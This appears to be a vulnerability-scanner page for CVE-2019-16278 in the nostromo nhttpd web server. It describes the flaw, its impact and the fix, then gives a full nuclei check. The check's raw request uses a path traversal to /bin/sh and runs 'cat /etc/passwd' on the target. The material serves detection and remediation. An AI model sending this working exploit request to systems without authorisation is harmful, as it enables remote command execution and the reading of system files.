nostromo 1.9.6 - Remote Code Execution

Exploited in the wild. Listed by CISA on 2024-11-07; known to be used by ransomware.

criticalseverity

9.8CVSS score

99%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

nostromo nhttpd through 1.9.6 allows an attacker to achieve remote code execution via directory traversal in the function http_verify.

Impact

Successful exploitation of this vulnerability allows an attacker to execute arbitrary code on the target system.

Fix

Upgrade to a patched version of nostromo web server (1.9.7 or later) or apply the vendor-supplied patch.

How to confirm it

Send: POST /.%0d./.%0d./.%0d./.%0d./bin/sh
Positive when: matches /root:.*:0:0:/

Run it with nuclei: nuclei -id CVE-2019-16278 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2019-16278

info:
  name: nostromo 1.9.6 - Remote Code Execution
  author: pikpikcu
  severity: critical
  description: nostromo nhttpd through 1.9.6 allows an attacker to achieve remote code execution via  directory traversal in the function http_verify.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to execute arbitrary code on the target system.
  remediation: |
    Upgrade to a patched version of nostromo web server (1.9.7 or later) or apply the vendor-supplied patch.
  reference:
    - https://packetstormsecurity.com/files/155802/nostromo-1.9.6-Remote-Code-Execution.html
    - https://www.exploit-db.com/raw/47837
    - https://nvd.nist.gov/vuln/detail/CVE-2019-16278
    - http://www.nazgul.ch/dev/nostromo_cl.txt
    - http://packetstormsecurity.com/files/155045/Nostromo-1.9.6-Directory-Traversal-Remote-Command-Execution.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-16278
    cwe-id: CWE-22
    epss-score: 0.99033
    epss-percentile: 0.99931
    cpe: cpe:2.3:a:nazgul:nostromo_nhttpd:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: nazgul
    product: nostromo_nhttpd
  tags: cve,cve2019,edb,rce,packetstorm,nazgul,kev,vkev,vuln

http:
  - raw:
      - |
        POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.1
        Host: {{Hostname}}

        echo
        echo
        cat /etc/passwd 2>&1

    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

References

Use this check only on systems you are authorised to test. Where the data comes from